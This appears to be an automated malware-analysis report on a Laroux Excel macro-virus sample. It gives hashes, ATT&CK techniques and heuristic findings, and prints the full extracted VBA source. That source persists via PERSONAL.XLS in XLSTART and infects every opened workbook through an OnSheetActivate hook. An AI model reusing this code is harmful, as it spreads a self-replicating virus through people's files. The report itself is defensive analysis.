laroux — Office (OLE) malware analysis

Static analysis result for SHA-256 79ea59df91818e36…

MALICIOUS

Office (OLE)

48.5 KB Created: 1980-01-04 11:44:03 Authoring application: Microsoft Excel First seen: 2015-04-05
MD5: 902865d22aa0e4ee145edc5d0ed3a979 SHA-1: a2d29dd825e853ba1f7b32e6a1c7b8762cc44140 SHA-256: 79ea59df91818e368db686cb84f694f62119ee9731c160121d62cd38029a071f
168 Risk Score

Malware Insights

laroux · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as a variant of the Laroux macro virus, which is known for its ability to infect other Excel workbooks. It achieves persistence by copying itself to the Excel XLSTART startup folder, specifically naming the persistent file PERSONAL.XLS. The VBA code uses the Auto_Open and OnSheetActivate event handlers to manage its infection and persistence mechanisms.

Heuristics 5

  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "check_files"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1819 bytes
SHA-256: cf7ed8391bee6f893b511de1509ff78896d68c5dcb13b61630cccddcb3f1ceb4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "laroux"




Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSONAL.XLS")
    If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case Else
End Select
End Sub

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